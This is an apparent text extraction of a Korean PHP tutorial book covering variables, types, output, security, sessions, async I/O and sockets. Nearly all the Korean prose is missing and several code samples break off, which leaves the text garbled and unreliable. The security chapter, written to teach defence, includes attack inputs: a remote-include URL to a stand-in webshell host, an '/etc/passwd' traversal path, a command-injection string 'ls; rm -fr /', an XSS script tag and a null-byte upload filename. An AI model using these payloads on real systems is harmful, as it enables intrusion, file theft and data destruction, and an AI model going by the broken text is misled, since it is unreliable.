• $ = ''; //
• $ object-> property = 'value'; // .
• ClassName :: $ = ''; //
• $ array [0] = 'value'; // .
• $ array [] = ''; // .
• $ array [ 'key'] = ''; // .
• echo $ variable; // ().
• some_function ($ ); //
• unset ($ variable); //
• $$ = ''; //
• isset ($ ); //
• ($ ); //
PHP 7 :
<?php
/**
* Juggle numbers and return true if juggling was
* a great success.
*/
function numberJuggling(int $a, int $b) : bool
{
$sum = $a + $b;
<?php
declare('strict_types=1');
PHP 7 :
• callable ( )
• array ( )
• ( FQDN)
• (FQDN)
https://riptutorial.com/ko/home 244
Examples
()
. . .
$ put .
$variableName = 'foo';
$foo = 'bar';
//similarly,
$variableName = 'foo';
$$variableName = 'bar';
/ .
$funcName = 'add';
PHP .
class myClass {
public function __construct() {
$functionName = 'doSomething';
$this->$functionName('Hello World');
}
{} $variableName .
${$variableName} = $value;
"baz" .
https://riptutorial.com/ko/home 245
$fooBar = 'baz';
$varPrefix = 'foo';
{} .
{} .
$$$$$$$$DoNotTryThisAtHomeKids = $value;
. IDE ( ) .
PHP5 PHP7
{} () PHP5 PHP7 .
PHP5 PHP5 , . .
1 : $$foo['bar']['baz']
• PHP5 : ${$foo['bar']['baz']}
• PHP7 : ($$foo)['bar']['baz']
2 : $foo->$bar['baz']
• PHP5 : $foo->{$bar['baz']}
• PHP7 : ($foo->$bar)['baz']
3 : $foo->$bar['baz']()
• PHP5 : $foo->{$bar['baz']}()
• PHP7 : ($foo->$bar)['baz']()
4 : Foo::$bar['baz']()
• PHP5 : Foo::{$bar['baz']}()
• PHP7 : (Foo::$bar)['baz']()
. PHP , . . PHP .
https://riptutorial.com/ko/home 246
PHP null, boolean, integer, float, string, object, resource array .
(null) . .
$foo = null;
. .
$foo = true;
$bar = false;
$foo = true;
if ($foo) {
echo "true";
} else {
echo "false";
}
. . . PHP .
$foo = 1.23;
$foo = 10.0;
$bar = -INF;
$bar = NAN;
. 0.
. PHP . '' .
https://riptutorial.com/ko/home 247
$array = array();
$array["foo"] = "bar";
$array["baz"] = "quux";
$array[42] = "hello";
echo $array["foo"]; // Outputs "bar"
echo $array["bar"]; // Outputs "quux"
echo $array[42]; // Outputs "hello"
$foo = "bar";
$foo = "bar";
echo $foo[0]; // Prints 'b', the first character of the string in $foo.
. -> .
$foo = new stdClass(); // create new object of class stdClass, which a predefined, empty class
$foo->bar = "baz";
echo $foo->bar; // Outputs "baz"
// Or we can cast an array to an object:
$quux = (object) ["foo" => "bar"];
echo $quux->foo; // This outputs "bar".
, ,, ( ).
$fp = fopen('file.ext', 'r'); // fopen() is the function to open a file on disk as a resource.
var_dump($fp); // output: resource(2) of type (stream)
gettype() .
function foo() {
global $bob;
$bob->doSomething();
}
$bob ?
?. .
https://riptutorial.com/ko/home 248
PHP include('file.php'); include('file.php'); .
. .
function doSomething() {
global $dbConnector;
$dbConnector->execute("...");
}
$dbConnector . .
/**
* @test
*/
function testSomething() {
global $dbConnector;
assertTrue(foo());
Dependency Injection . .
. ( ) $bob . .
$bob Bar Bar ., . (PHP 5.3 ) Bar . PHP 7.0 int string .
4.1
PHP .
global $ . /, .
PHP .
• $ GLOBALS
• $ _SERVER
• $ _REQUEST
• $ _POST
• $ _GET
• $ _FILES
https://riptutorial.com/ko/home 249
• $ _ENV
• $_
• $ _SESSION
var_dump(get_defined_vars());
PHP . .
$unset_str .= 'abc';
var_dump($unset_str); // outputs 'string(3) "abc"'
$unset_float += 1.25;
var_dump($unset_float); // outputs 'float(1.25)'
$unset_arr[3] = "def";
var_dump($unset_arr); // outputs array(1) { [3]=> string(3) "def" }
$unset_obj->foo = 'bar';
var_dump($unset_obj); // Outputs: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }
$var = '';
https://riptutorial.com/ko/home 250
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
• 0 true ,0 false .
$var = -1;
$var_is_true = ($var == true); // true
$var = 99;
$var_is_true = ($var == true); // true
$var = 0;
$var_is_true = ($var == true); // false
• null false .
$var = null;
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
$var = '0';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
• 0 true , 0 false .
○ NAN (PHP Not-a-Number) true . NAN == true true . NAN 0 .
○ 0 IEEE 754 +0 -0 . PHP +0 -0 . , floatval('0') == floatval('-0') true .
, floatval('0') === floatval('-0') .
○
$var = NAN;
$var_is_true = ($var == true); // true
$var_is_false = ($var == false); // false
$var = floatval('-0');
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true
PHP , === . .
$var = null;
https://riptutorial.com/ko/home 251
$var_is_null = $var === null; // true
$var_is_true = $var === true; // false
$var_is_false = $var === false; // false
!== :
$var = null;
$var_is_null = $var !== null; // false
$var_is_true = $var !== true; // true
$var_is_false = $var !== false; // true
is_null() .
strpos()
• $haystack $needle 0 .
• $haystack $haystack $needle 0 .
• $haystack $haystack $needle false .
: https://riptutorial.com/ko/php/topic/194/
https://riptutorial.com/ko/home 252
65:
PHP . PHP . PHP .
PHP . HTML ( ).
• echo - .
• print - 1 () .
• printf - .
• sprintf - .
• print_r - .
• var_dump - .
• var_export - PHP . .
Examples
echo print . ( PHP echo("test") ). , . .
• Joel $name .
$name = "Joel";
• .
• ( echo )
• print echo (1 ) .
https://riptutorial.com/ko/home 253
• .
print ("hey" && (print (" " && print "you"))); #> you11
echo
<p><?=$variable?></p>
<p><?= "This is also PHP" ?></p>
; . PHP . .
echo print
, :
• print echo .
• print .
print_r() -
print_r .
. echo .
Notice: Array to string conversion . print_r .
true .
https://riptutorial.com/ko/home 254
// Using print_r we can view the data the array holds.
print_r($myobject);
print_r($myarray);
print_r($mystring);
print_r($myint);
stdClass Object
(
[myvalue] => Hello World
)
Array
(
[0] => Hello
[1] => World
)
Hello World
42
print_r . , $myarray .
PHP HTML .
<pre> <pre> .
HTML .
var_dump() -
print_r ID, , , print_r .
var_dump .
object(stdClass)#12 (1) {
["myvalue"]=>
string(11) "Hello World"
}
https://riptutorial.com/ko/home 255
array(2) {
[0]=>
string(5) "Hello"
[1]=>
string(5) "World"
}
string(11) "Hello World"
int(42)
: xDebug , var_dump . .
var_export() - PHP
var_export() PHP .
true .
var_export($myarray);
var_export($mystring);
var_export($myint);
PHP :
array (
0 => 'Hello',
1 => 'World',
)
'Hello World'
42
, :
$myarray = array (
0 => 'Hello',
1 => 'World',
);
$mystring = 'Hello World';
$myint = 42;
https://riptutorial.com/ko/home 256
printf sprintf
printf .
sprintf .
$name = 'Jeff';
. 10 10 2 .
$money = 25.2;
printf('%01.2f', $money);
#> 25.20
echo
. ( / ).
// String variable
$name = 'Joel';
// Concatenate multiple strings (3 in this example) into one and echo it once done.
// 1. ↓ 2. ↓ 3. ↓ - Three Individual string items
echo '<p>Hello ' . $name . ', Nice to see you.</p>';
// ↑ ↑ - Concatenation Operators
echo ( ) (,) .
$itemCount = 1;
echo 'You have ordered ', $itemCount, ' item', $itemCount === 1 ? '' : 's';
// ↑ ↑ ↑ - Note the commas
echo . .
https://riptutorial.com/ko/home 257
echo "The total is: ", $x + $y;
. . , . .
: float !
, 1024 ( 2) . :
$n = pow(10, 27);
printf("%s %.0F\n", $n, $n);
// 1.0E+27 1000000000000000013287555072
Array
(
[0] => Array
(
[id] => 13
[category_id] => 7
[name] => Leaving Of Liverpool
[description] => Leaving Of Liverpool
[price] => 1.00
[virtual] => 1
[active] => 1
[sort_order] => 13
[created] => 2007-06-24 14:08:03
[modified] => 2007-06-24 14:08:03
[image] => NONE
)
https://riptutorial.com/ko/home 258
[1] => Array
(
[id] => 16
[category_id] => 7
[name] => Yellow Submarine
[description] => Yellow Submarine
[price] => 1.00
[virtual] => 1
[active] => 1
[sort_order] => 16
[created] => 2007-06-24 14:10:02
[modified] => 2007-06-24 14:10:02
[image] => NONE
)
<table>
<?php
foreach ($products as $key => $value) {
foreach ($value as $k => $v) {
echo "<tr>";
echo "<td>$k</td>"; // Get index.
echo "<td>$v</td>"; // Get value.
echo "</tr>";
}
}
?>
</table>
: https://riptutorial.com/ko/php/topic/6695/--
https://riptutorial.com/ko/home 259
66:
PHP PHP PHP , . PHP PHP .
• PDO SQL
• mysqli
• (OWASP)
Examples
PHP , . .
. .
<?php
ini_set("display_errors", "0");
?>
php.ini .
display_errors = 0
. .
(XSS)
https://riptutorial.com/ko/home 260
3 JavaScript :
// http://example.com/runme.js
document.write("I'm running");
PHP .
<?php
echo '<div>' . $_GET['input'] . '</div>';
<div><script src="http://example.com/runme.js"></script></div>
3 "".
. GET, POST . .
. .
PHP .
PHP . .
HTML
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
<div><script src="http://example.com/runme.js"></script></div>
<div> JavaScript . .
<script src="http://example.com/runme.js"></script>
URL
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
https://riptutorial.com/ko/home 261
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
URL .
OWASP AntiSamy
HTML . () () .
(RFI ) .
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
(LFI ) .
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
SQL , . .
https://riptutorial.com/ko/home 262
, .
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
PHP . .
ls; rm -fr /
escapeshellarg() escapeshellcmd() . . .
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
ls rm ls .
. .
PHP
PHP PHP .
X-Powered-By: PHP/5.3.8
php.ini :
expose_php = off
header("X-Powered-By: Magic");
htaccess :
https://riptutorial.com/ko/home 263
Header unset X-Powered-By
header_remove() .
header_remove('X-Powered-By');
PHP PHP .
strip_tags . .
echo strip_tags($string);
. . <b> .
<?php
strip_tags($input, '<br>');
?>
CSRF . CSRF . .
https://riptutorial.com/ko/home 264
.
:
. .
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
• name - .
• type - . PHP .
https://riptutorial.com/ko/home 265
• size - .
• tmp_name - .
. .
../script.php%00.png
1. ../ , . ?
2. exploit %00 null URL . .png .
pathinfo() .
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
md5(uniqid().microtime()) md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
| id | title | extension | mime | size | filename | time
|
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11
00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+------------
---------+
. .
MIME
image.png PHP . MIME .
https://riptutorial.com/ko/home 266
1 .
MIME .
MIME .
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
: https://riptutorial.com/ko/php/topic/2781/
https://riptutorial.com/ko/home 267
67:
. https://stackoverflow.com/a/17266448/4535386 from ircmaxell, .
Examples
"Keep Me Logged In"-
function onLogin($user) {
$token = GenerateRandomToken(); // generate a token, should be 128 - 256 bit
storeTokenForUser($user, $token);
$cookie = $user . ':' . $token;
$mac = hash_hmac('sha256', $cookie, SECRET_KEY);
$cookie .= ':' . $mac;
setcookie('rememberme', $cookie);
}
function rememberMe() {
$cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : '';
if ($cookie) {
list ($user, $token, $mac) = explode(':', $cookie);
if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) {
return false;
}
$usertoken = fetchTokenByUserName($user);
if (hash_equals($usertoken, $token)) {
logUserIn($user);
}
}
}
: https://riptutorial.com/ko/php/topic/10664/---
https://riptutorial.com/ko/home 268
68:
Examples
PHP 5.5 Generators yield .
function reverse_range($i) {
// the mere presence of the yield keyword in this function makes this a Generator
do {
// $i is retained between resumptions
print yield $i;
} while (--$i > 0);
}
$gen = reverse_range(5);
print $gen->current();
$gen->send("injected!"); // send also resumes the Generator
foreach ($gen as $val) { // loops over the Generator, resuming it upon each iteration
echo $val;
}
// Output: 5injected!4321
use Icicle\Awaitable;
use Icicle\Coroutine\Coroutine;
use Icicle\Loop;
// Throws the exception from the rejected awaitable into the coroutine.
return yield Awaitable\reject(new Exception('Rejected awaitable'));
} catch (Throwable $e) { // Catches awaitable rejection reason.
echo "Caught exception: ", $e->getMessage(), "\n";
}
// Coroutine sleeps for 1.2 seconds, then will resolve with a string.
$coroutine = new Coroutine($generator(1.2));
$coroutine->done(function (string $data) {
https://riptutorial.com/ko/home 269
echo $data, "\n";
});
Loop\run();
[Awaitables ] .
use Amp\Dns;
proc_open ()
suprocess . stream_set_blocking() . ( ) .
, 100 - 1000ms ( ).
<?php
// subprocess.php
$name = $argv[1];
$delay = rand(1, 10) * 100;
printf("$name delay: ${delay}ms\n");
. :
https://riptutorial.com/ko/home 270
• proc_open () .
• stream_set_blocking() .
• proc_get_status() .
• fclose() proc_close() .
<?php
// non-blocking-proc_open.php
// File descriptors for each subprocess.
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
];
$pipes = [];
$processes = [];
foreach (range(1, 3) as $i) {
// Spawn a subprocess.
$proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes);
$processes[$i] = $proc;
// Make the subprocess non-blocking (only output pipe).
stream_set_blocking($procPipes[1], 0);
$pipes[$i] = $procPipes;
}
$ php non-blocking-proc_open.php
proc1 delay: 200ms
proc2 delay: 1000ms
proc3 delay: 800ms
proc1: 0
proc1: 1
proc1: 2
proc1: 3
proc3: 0
proc1: 4
proc2: 0
proc3: 1
proc2: 1
https://riptutorial.com/ko/home 271
proc3: 2
proc2: 2
proc3: 3
proc2: 3
proc3: 4
proc2: 4
DIO
DIO . DIO . .
• fopen() .
• stream_set_blocking() non-blocking ;
• EventUtil::getSocketFd() .
• dio_fdopen() ( ) DIO .
• Event .
• .
dio.php
<?php
class Scanner {
protected $port; // port path, e.g. /dev/pts/5
protected $fd; // numeric file descriptor
protected $base; // EventBase
protected $dio; // dio resource
protected $e_open; // Event
protected $e_read; // Event
if ($this->e_open)
$this->e_open->free();
if ($this->e_read)
$this->e_read->free();
if ($this->dio)
dio_close($this->dio);
}
$this->fd = EventUtil::getSocketFd($stream);
if ($this->fd < 0) {
fprintf(STDERR, "Failed attach to port, events: %d\n", $events);
return;
}
https://riptutorial.com/ko/home 272
$this->base->dispatch();
fclose($stream);
}
$this->dio = dio_fdopen($this->fd);
// Call other dio functions here, e.g.
dio_tcsetattr($this->dio, [
'baud' => 9600,
'bits' => 8,
'stop' => 1,
'parity' => 0
]);
A .
B . .
C PTY .
string(1) "t"
string(1) "e"
string(1) "s"
string(1) "t"
string(1) "
"
https://riptutorial.com/ko/home 273
HTTP
HTTP .
HTTP .
http-client.php
<?php
class MyHttpClient {
/// @var EventBase
protected $base;
/// @var array Instances of EventHttpConnection
protected $connections = [];
/**
* Dispatches all pending requests (events)
*
* @return void
*/
public function run() {
$this->base->dispatch();
}
/**
* @brief Adds a pending HTTP request
*
* @param string $address Hostname, or IP
* @param int $port Port number
* @param array $headers Extra HTTP headers
* @param int $cmd A EventHttpRequest::CMD_* constant
* @param string $resource HTTP request resource, e.g. '/page?a=b&c=d'
*
* @return EventHttpRequest|false
*/
public function addRequest($address, $port, array $headers,
$cmd = EventHttpRequest::CMD_GET, $resource = '/')
{
$conn = new EventHttpConnection($this->base, null, $address, $port);
$conn->setTimeout(5);
https://riptutorial.com/ko/home 274
$req->addHeader('Connection', 'close', EventHttpRequest::OUTPUT_HEADER);
if ($conn->makeRequest($req, $cmd, $resource)) {
$this->connections []= $conn;
return $req;
}
return false;
}
/**
* @brief Handles an HTTP request
*
* @param EventHttpRequest $req
* @param mixed $unused
*
* @return void
*/
public function _requestHandler($req, $unused) {
if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();
if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}
}
}
$address = "my-host.local";
$port = 80;
$headers = [ 'User-Agent' => 'My-User-Agent/1.0', ];
test.php
.
https://riptutorial.com/ko/home 275
<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL;
php http-client.php
Success: 200
Body:
GET: array (
'a' => '1',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '0',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '3',
)
...
( .)
CLI SAPI .
Ev HTTP
Ev HTTP .
Ev . I/O .
HTTP .
http-client.php
<?php
class MyHttpRequest {
/// @var MyHttpClient
private $http_client;
/// @var string
private $address;
/// @var string HTTP resource such as /page?get=param
private $resource;
/// @var string HTTP method such as GET, POST etc.
private $method;
/// @var int
private $service_port;
/// @var resource Socket
private $socket;
https://riptutorial.com/ko/home 276
/// @var double Connection timeout in seconds.
private $timeout = 10.;
/// @var int Chunk size in bytes for socket_recv()
private $chunk_size = 20;
/// @var EvTimer
private $timeout_watcher;
/// @var EvIo
private $write_watcher;
/// @var EvIo
private $read_watcher;
/// @var EvTimer
private $conn_watcher;
/// @var string buffer for incoming data
private $buffer;
/// @var array errors reported by sockets extension in non-blocking mode.
private static $e_nonblocking = [
11, // EAGAIN or EWOULDBLOCK
115, // EINPROGRESS
];
/**
* @param MyHttpClient $client
* @param string $host Hostname, e.g. google.co.uk
* @param string $resource HTTP resource, e.g. /page?a=b&c=d
* @param string $method HTTP method: GET, HEAD, POST, PUT etc.
* @throws RuntimeException
*/
public function __construct(MyHttpClient $client, $host, $resource, $method) {
$this->http_client = $client;
$this->host = $host;
$this->resource = $resource;
$this->method = $method;
$this->conn_watcher = $this->http_client->getLoop()
->timer(0, 0., [$this, 'connect']);
}
https://riptutorial.com/ko/home 277
}
}
/**
* Deallocates all resources of the request
*/
private function close() {
if ($this->socket) {
socket_close($this->socket);
$this->socket = null;
}
$this->freeWatcher($this->timeout_watcher);
$this->freeWatcher($this->read_watcher);
$this->freeWatcher($this->write_watcher);
$this->freeWatcher($this->conn_watcher);
}
/**
* Initializes a connection on socket
* @return bool
*/
public function connect() {
$loop = $this->http_client->getLoop();
/**
* Callback for timeout (EvTimer) watcher
*/
public function _onTimeout(EvTimer $w) {
$w->stop();
$this->close();
}
/**
* Callback which is called when the socket becomes wriable
*/
public function _onWritable(EvIo $w) {
$this->timeout_watcher->stop();
$w->stop();
$in = implode("\r\n", [
"{$this->method} {$this->resource} HTTP/1.1",
"Host: {$this->host}",
'Connection: Close',
]) . "\r\n\r\n";
$loop = $this->http_client->getLoop();
$this->read_watcher = $loop->io($this->socket,
Ev::READ, [$this, '_onReadable']);
https://riptutorial.com/ko/home 278
// Continue running the loop
$loop->run();
}
/**
* Callback which is called when the socket becomes readable
*/
public function _onReadable(EvIo $w) {
// recv() 20 bytes in non-blocking mode
$ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT);
if ($ret) {
// Still have data to read. Append the read chunk to the buffer.
$this->buffer .= $out;
} elseif ($ret === 0) {
// All is read
printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer));
fflush(STDOUT);
$w->stop();
$this->close();
return;
}
$w->stop();
$this->close();
}
}
/////////////////////////////////////
class MyHttpClient {
/// @var array Instances of MyHttpRequest
private $requests = [];
/// @var EvLoop
private $loop;
/**
* @return EvLoop
*/
public function getLoop() {
return $this->loop;
}
/**
* Adds a pending request
*/
public function addRequest(MyHttpRequest $r) {
$this->requests []= $r;
https://riptutorial.com/ko/home 279
}
/**
* Dispatches all pending requests
*/
public function run() {
$this->loop->run();
}
}
/////////////////////////////////////
// Usage
$client = new MyHttpClient();
foreach (range(1, 10) as $i) {
$client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i,
'GET'));
}
$client->run();
http://my-host.local/test.php $_GET .
<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
php http-client.php .
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo
1d
GET: array (
'a' => '3',
)
0
>>>>
<<<<
HTTP/1.1 200 OK
Server: nginx/1.10.1
Date: Fri, 02 Dec 2016 12:39:54 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/7.0.13-pl0-gentoo
1d
GET: array (
'a' => '2',
)
https://riptutorial.com/ko/home 280
>>>>
...
()
error_reporting(E_ERROR);
: https://riptutorial.com/ko/php/topic/4321/-
https://riptutorial.com/ko/home 281
69:
• define ( $ name, $ [, bool $ case_insensitive = false])
• const CONSTANT_NAME = VALUE;
. (dev / production) .
. . PHP 5.6 .
Examples
<?php
define("GOOD", false);
if (defined("GOOD")) {
print "GOOD is defined" ; // prints "GOOD is defined"
if (GOOD) {
print "GOOD is true" ; // does not print anything, since GOOD is false
}
}
if (!defined("AWESOME")) {
define("AWESOME", true); // awesome was not defined. Now we have defined it
}
"".
<?php
if (defined("GOOD")) {
print "GOOD is defined"; // doesn't print anyhting, GOOD is not defined yet.
}
define("GOOD", false);
if (defined("GOOD")) {
print "GOOD is defined"; // prints "GOOD is defined"
}
PHP get_defined_constants :
https://riptutorial.com/ko/home 282
<?php
$constants = get_defined_constants();
var_dump($constants); // pretty large list
( ) .
<?php
$constants = get_defined_constants();
define("HELLO", "hello");
define("WORLD", "world");
$new_constants = get_defined_constants();
/*
Output:
array (
'HELLO' => 'hello',
'WORLD' => 'world',
)
*/
const define . .
const TAU = PI * 2;
define("EARTH_IS_ROUND", !EARTH_IS_FLAT);
define("MORE_UNKNOWN", UNKNOWN);
define("APP_ENV_UPPERCASE", strtoupper(APP_ENV)); // string manipulation is ok too
// the above example (a function call) does not work with const:
// const TIME = time(); # fails with a fatal error! Not a constant scalar expression
define("MAX_SESSION_TIME_IN_MINUTES", MAX_SESSION_TIME / 60);
https://riptutorial.com/ko/home 283
const APP_FUTURE_LANGUAGES = [-1 => "es"] + APP_LANGUAGES; // array manipulations
PHP . .
(: , ) .
const vs define
define const .
define (, , ) . .
const (, , , , ) .
const .
const .
class Foo {
const BAR_TYPE = "bar";
<?php
https://riptutorial.com/ko/home 284
class Logger {
const LEVEL_INFO = 1;
const LEVEL_WARNING = 2;
const LEVEL_ERROR = 3;
PHP 5.6 .
class Answer {
const C = [2,4];
}
print MY_ARRAY[1][1]; // 3
if (EARTH_IS_FLAT) {
print "Earth is flat";
}
print APP_ENV_UPPERCASE;
constant .
if (constant($const1)) {
print "Earth is flat";
}
https://riptutorial.com/ko/home 285
print constant($const2);
: https://riptutorial.com/ko/php/topic/1688/
https://riptutorial.com/ko/home 286
70:
• void session_abort (void)
• int session_cache_expire ([string $ new_cache_expire])
• void session_commit (void)
• string session_create_id ([string $ prefix])
• bool session_decode (string $ data)
• bool session_destroy (void)
• session_encode (void)
• int session_gc (void)
• session_get_cookie_params (void)
• string session_id ([string $ id])
• bool session_is_registered (string $ name)
• string session_module_name ([string $ module])
• session_name ([ $ ])
• bool session_regenerate_id ([bool $ delete_old_session = false])
• void session_register_shutdown (void)
• bool session_register (mixed $ name [, mixed $ ...])
• void session_reset (void)
• string session_save_path ([string $ path])
• void session_set_cookie_params (int $ lifetime [, string $ path [, string $ [, bool $ secure =
false [, bool $ httponly = false]]]])
• bool session_set_save_handler ( $ open, $ , $ , $ , $ destroy, $ gc [, $ create_sid [,
$ validate_sid [, $ update_timestamp]])
• bool session_start ([array $ options = []])
• int session_status (void)
• bool session_unregister ( $ name)
• void session_unset (void)
• void session_write_close (void)
session_start() PHP .
Examples
$_SESSION .
<?php
// Starting the session
session_start();
// conditional usage of session values that may have been set in a previous session
if(!isset($_SESSION["login"])) {
echo "Please login first";
exit;
https://riptutorial.com/ko/home 287
}
// now you can use the login safely
$user = $_SESSION["login"];
. __PHP_Incomplete_Class __PHP_Incomplete_Class . .
:
. Pro PHP : XSS - 7 : $_SESSION . , . , , . .
session_destroy() .
/*
Let us assume that our session looks like this:
Array([firstname] => Jon, [id] => 123)
/*
We can now remove all the values from the `SESSION` superglobal:
If you omitted this step all of the global variables stored in the
superglobal would still exist even though the session had been destroyed.
*/
$_SESSION = array();
// If it's desired to kill the session, also delete the session cookie.
// Note: This will destroy the session, and not just the session data!
if (ini_get("session.use_cookies")) {
$params = session_get_cookie_params();
setcookie(session_name(), '', time() - 42000,
$params["path"], $params["domain"],
$params["secure"], $params["httponly"]
);
}
session_unset () $ _SESSION .
session_start ()
https://riptutorial.com/ko/home 288
PHP php.ini session_start .
<?php
if (version_compare(PHP_VERSION, '7.0.0') >= 0) {
// php >= 7 version
session_start([
'cache_limiter' => 'private',
'read_and_close' => true,
]);
} else {
// php < 7 version
session_start();
}
?>
: https://wiki.php.net/rfc/session-lock-ini
. .
if(isset($_COOKIE[session_name()])) {
session_start();
}
session_name() .
session_name() .
. (, ). . ID .
. .
https://riptutorial.com/ko/home 289
session_write_close();
, . .
,, CMS . . PHP . . .
session_start .
: https://riptutorial.com/ko/php/topic/486/-
https://riptutorial.com/ko/home 290
71:
Examples
TCP
TCP ( )
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
. onSocketFailure .
.
.
socket_write . PHP .
socket_read .
PHP_NORMAL_READ \r / \n PHP_NORMAL_READ .
PHP_BINARY_READ .
IRC .
while(true) {
// read a line from the socket
$line = socket_read($socket, 1024, PHP_NORMAL_READ);
if(substr($line, -1) === "\r") {
// read/skip one byte from the socket
// we assume that the next byte in the stream must be a \n.
// this is actually bad in practice; the script is vulnerable to unexpected values
https://riptutorial.com/ko/home 291
socket_read($socket, 1, PHP_BINARY_READ);
}
$message = parseLine($line);
if($message->type === "QUIT") break;
}
socket_close($socket);
TCP
TCP . .
( 3) ( 2) .
"0.0.0.0" . .
socket_bind . ( ).
socket_listen socket_listen . .
socket_listen($socket, 5);
TCP . socket_accept .
$conn = socket_accept($socket);
socket_accept TCP .
, socket_close($socket); . TCP .
socket_last_error ID .
https://riptutorial.com/ko/home 292
socket_strerror ID .
UDP
UDP
$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
TCP .
UDP .
$clients = [];
while (true){
socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true
or onSocketFailure("Failed to receive packet", $socket);
$address = "$ip:$port";
if (!isset($clients[$address])) $clients[$address] = new Client();
$clients[$address]->handlePacket($buffer);
}
: https://riptutorial.com/ko/php/topic/6138/
https://riptutorial.com/ko/home 293
72: PHP
.
Examples
PHP5
PHP5 SuperGlobals.
• $ GLOBALS
• $ _REQUEST
• $ _GET
• $ _POST
• $ _FILES
• $ _SERVER
• $ _ENV
• $_
• $ _SESSION
$ GLOBALS : .
<?php
$a = 10;
function foo(){
echo $GLOBALS['a'];
}
//Which will print 10 Global Variable a
?>
<?php
if(isset($_REQUEST['user'])){
echo $_REQUEST['user'];
}
//This will print value of HTML Field with name=user submitted using POST and/or GET MEthod
?>
<?php
if(isset($_GET['username'])){
echo $_GET['username'];
}
//This will print value of HTML field with name username submitted using GET Method
?>
https://riptutorial.com/ko/home 294
$ _POST : post HTML Form .
<?php
